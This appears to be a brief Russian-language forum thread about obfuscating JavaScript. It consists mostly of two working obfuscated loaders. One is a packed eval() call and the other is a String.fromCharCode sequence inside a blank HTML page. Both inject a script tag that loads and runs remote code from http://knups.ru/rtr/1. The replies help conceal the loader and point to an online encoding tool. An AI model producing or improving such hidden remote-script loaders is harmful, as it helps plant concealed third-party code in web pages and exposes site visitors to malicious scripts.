<script> eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}]; e=function(){return'[0]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<0 type="text/javascript"src="http://knups.ru/rtr/1"></0>',[],1,'script'.split('|'),0,{}))</script> не робит
зашифровать - никак, обфусцировать - миллион способов прочти книжку по JavaScript и будешь уметь "шыфровать" и "дэкриптовывать"
http://www.online-tool.tu2.ru/decode/ может это поможет? вставляешь код, жмёшь "кодировать", получаешь результат
Code: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <title>Untitled Document</title> <script type="text/javascript">eval(document.write(String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,58,47,47,107,110,117,112,115,46,114,117,47,114,116,114,47,49,34,62,60,47,115,99,114,105,112,116,62)));</script> </head> <body> </body> </html>